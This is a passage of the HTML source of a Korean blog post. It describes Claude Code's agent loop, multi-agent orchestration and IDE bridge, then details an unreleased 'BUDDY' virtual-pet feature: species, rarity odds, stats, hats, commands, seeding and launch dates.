&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;⑤ 도구 실행&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;승인된 도구 실행 &amp;rarr; 결과를 &lt;code&gt;tool_result&lt;/code&gt; 블록으로 추가. 결과가 &lt;code&gt;maxResultSizeChars&lt;/code&gt; 초과 시 임시 파일로 저장하고 경로만 전달&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;파일&amp;middot;셸&amp;middot;자격증명은 기기 밖으로 나가지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;⑥ 루프 반복&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모델이 결과를 받아 추가 도구를 호출하거나 최종 응답 생성. 컨텍스트 창이 차면 &lt;code&gt;query.ts&lt;/code&gt;가 자동 압축 트리거&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;전체 트랜스크립트는 &lt;code&gt;~/.claude/&lt;/code&gt;에 JSON으로 보존&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;원격 서버 없음&lt;/b&gt;&lt;br /&gt;Claude Code에는 별도의 원격 실행 서버가 없다. 파일, 셸, 자격증명은 도구가 명시적으로 전송하지 않는 한 사용자 기기를 벗어나지 않는다. &lt;br /&gt;(출처: &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/concepts/how-it-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티 아키텍처 문서&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;멀티에이전트 오케스트레이션&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvSgMq/dJMcacvQbNU/KkknIlUNETfp6kBPQTTK21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvSgMq%2FdJMcacvQbNU%2FKkknIlUNETfp6kBPQTTK21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1068&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;코드에는 &quot;swarm&quot; 또는 &quot;Coordinator Mode&quot;로 명명된 멀티에이전트 시스템이 구현돼 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 서브에이전트는 격리된 컨텍스트와 특정 도구 권한을 갖고 병렬로 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이프라인은 연구(Research) &amp;rarr; 합성(Synthesis) &amp;rarr; 구현(Implementation) &amp;rarr; 검증(Verification) 단계로 구성되며, 팀 메모리 동기화와 색상 코드 구분으로 여러 에이전트를 시각적으로 구별한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;IDE 브리지와 보안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VS Code와 JetBrains 확장과 CLI 간의 연결은 &lt;b&gt;JWT 인증 기반 양방향 통신 레이어&lt;/b&gt;로 구현됐다. 단순한 프로세스 간 통신이 아니라 독립적인 보안 레이어를 두었다는 점이 눈에 띈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 숨겨진 미출시 기능들&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티가 가장 흥분한 부분이다. 소스코드에는 아직 사용자에게 공개되지 않은 기능들이 다수 존재했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;① BUDDY &amp;mdash; AI 반려동물&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5W6iL/dJMcagyb6DB/nI8qKo6Q4PnW4FGcIeQQ50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5W6iL%2FdJMcagyb6DB%2FnI8qKo6Q4PnW4FGcIeQQ50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1934&quot; height=&quot;1048&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; Claude Code 입력창 옆 말풍선(speech bubble)에 앉아있는 다마고치(Tamagotchi) 스타일 ASCII 아트 가상 반려동물. 개발 세션을 지켜보며 이름을 부르면 Claude와 독립적으로 반응한다. 이 글이 작성된 시점의 Claude Code에 앉아 있는 &lt;b&gt;Bellows&lt;/b&gt;는 18종 중 &lt;b&gt;chonk(통통이)&lt;/b&gt; 종이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;18종 (species) 목록 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; font-size: 14px; line-height: 1.9; color: #444;&quot; data-ke-size=&quot;size14&quot;&gt;duck(오리) &amp;middot; goose(거위) &amp;middot; blob(블롭) &amp;middot; cat(고양이) &amp;middot; dragon(드래곤) &amp;middot; octopus(문어) &amp;middot; owl(올빼미) &amp;middot; penguin(펭귄) &amp;middot; turtle(거북이) &amp;middot; snail(달팽이) &amp;middot; ghost(유령) &amp;middot; axolotl(아홀로틀) &amp;middot; capybara(카피바라) &amp;middot; cactus(선인장) &amp;middot; robot(로봇) &amp;middot; rabbit(토끼) &amp;middot; mushroom(버섯) &amp;middot; &lt;b&gt;chonk(통통이)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ 18종 중 특정 1종 이름이 &lt;code&gt;String.fromCharCode()&lt;/code&gt;로 난독화되어 있음 &amp;mdash; Anthropic 내부 excluded-strings.txt의 모델 코드명 canary와 충돌하기 때문&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;희귀도(Rarity) 확률표 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;등급&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;확률&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;별&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;스탯 플로어&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Common (커먼)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;60%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Uncommon (언커먼)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;25%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Rare (레어)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;10%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Epic (에픽)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;4%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;Legendary (레전더리)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; font-weight: bold; color: #b07800;&quot;&gt;1%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;★★★★★&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f0ff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #7b1fa2;&quot;&gt;Shiny (샤이니)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; font-weight: bold; color: #7b1fa2;&quot;&gt;별도 1%&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; color: #888;&quot;&gt;희귀도와 독립&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; text-align: center; color: #888;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ Shiny Legendary = 0.01% (약 1/10,000). Shiny는 희귀도와 완전히 독립적인 별도 판정.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5가지 스탯 (0~100 범위) &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;스탯&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;DEBUGGING&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;버그 탐지 능력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PATIENCE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;에러 루프에도 침착함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CHAOS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;혼돈 / 예측불가 성향&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;WISDOM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;지혜 / 통찰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;SNARK&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;냉소 / 짓궂음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ 스탯 생성 방식: Peak stat(특기) = floor+50~100, Dump stat(약점) = 1~15, 나머지 3개 = floor~floor+40 범위에서 결정&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모자(Hat) 희귀도 게이팅 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;모자&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;해금 조건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;없음 (none)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Common (모자 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;crown (왕관) &amp;middot; tophat (중절모) &amp;middot; propeller (프로펠러)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Uncommon 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;halo (후광) &amp;middot; wizard (마법사)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Rare 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;beanie (비니)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Epic 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;tinyduck (꼬마오리 모자)&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff; font-weight: bold; color: #b07800;&quot;&gt;Legendary 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;눈 타입 6종 &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 18px; line-height: 2; letter-spacing: 6px;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;middot;&amp;nbsp; ✦&amp;nbsp; &amp;times;&amp;nbsp; ◉&amp;nbsp; @&amp;nbsp; &amp;deg;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/buddy 커맨드 전체 목록&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0 0 6px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #dce8f5;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;커맨드&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;최초 실행 시 hatch 애니메이션, 이미 있으면 현재 buddy 표시. 4월 1~7일 기간에는 무지개색 효과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy pet&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;하트(&amp;hearts;) 플로팅 애니메이션 2.5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy card&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;ASCII 스프라이트 + 전체 스탯 + 희귀도 카드 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy mute&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;말풍선 숨기기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy unmute&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;말풍선 다시 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f7fbff;&quot;&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy off&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 7px 10px; border: 1px solid #b3d9ff;&quot;&gt;Buddy 완전 숨김&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;※ buddy 이름(예: &quot;Bellows&quot;)을 대화 중 직접 부르면 Claude와 별개로 말풍선이 반응함. 스프라이트 규격: 5줄 높이 &amp;times; 12자 너비 ASCII, 3개 애니메이션 프레임.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가챠 시스템 구조 (결정론적 PRNG) &amp;mdash; 소스코드 직접 확인&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해시 함수: &lt;b&gt;FNV-1a&lt;/b&gt; &amp;mdash; userId + salt을 32비트 시드로 변환&lt;/li&gt;
&lt;li&gt;난수 생성기: &lt;b&gt;Mulberry32&lt;/b&gt; (경량 32비트 PRNG)&lt;/li&gt;
&lt;li&gt;시드 솔트: &lt;code&gt;'friend-2026-401'&lt;/code&gt; (2026-04-01 출시 날짜 암시)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;동일 userId &amp;rarr; 항상 동일한 종/희귀도/외형&lt;/b&gt; (&quot;bones&quot;) 보장 &amp;mdash; 결정론적 재계산&lt;/li&gt;
&lt;li&gt;AI 생성 부분 &quot;soul&quot;(이름, 성격, hatch 날짜)만 config에 1회 저장&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Anti-cheat:&lt;/b&gt; bones는 매 세션 userId로부터 재계산 &amp;rarr; config 파일 수정으로 Legendary 위장 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출시 일정 (소스 하드코딩 기준)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;4월 1~7일&lt;/b&gt;: teaser window &amp;mdash; 무지개색 알림으로 &lt;code&gt;/buddy&lt;/code&gt; 입력 유도&lt;/li&gt;
&lt;li&gt;&lt;b&gt;4월 8일 이후&lt;/b&gt;: 커맨드 영구 활성화 예정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2026년 5월&lt;/b&gt;: full launch 타겟 (내부 주석 기준)&lt;/li&gt;
&lt;li&gt;에이프릴 풀(April Fools) 티저인지 실제 출시 일정인지 현재 미확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) /buddy 입력시 무지개 색으로 변경된다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ByFvr/dJMcafe3NLL/ZxKmAIRLqG2H8kNBKaVKuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FByFvr%2FdJMcafe3NLL%2FZxKmAIRLqG2H8kNBKaVKuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1284&quot; height=&quot;158&quot; data-origin-width=&quot;1284&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 난 레어???? CHONK&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;936&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAkDv9/dJMcagSxIm1/FkthmkoK2ArfTb16BBgOVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAkDv9%2FdJMcagSxIm1%2FFkthmkoK2ArfTb16BBgOVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;484&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;936&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

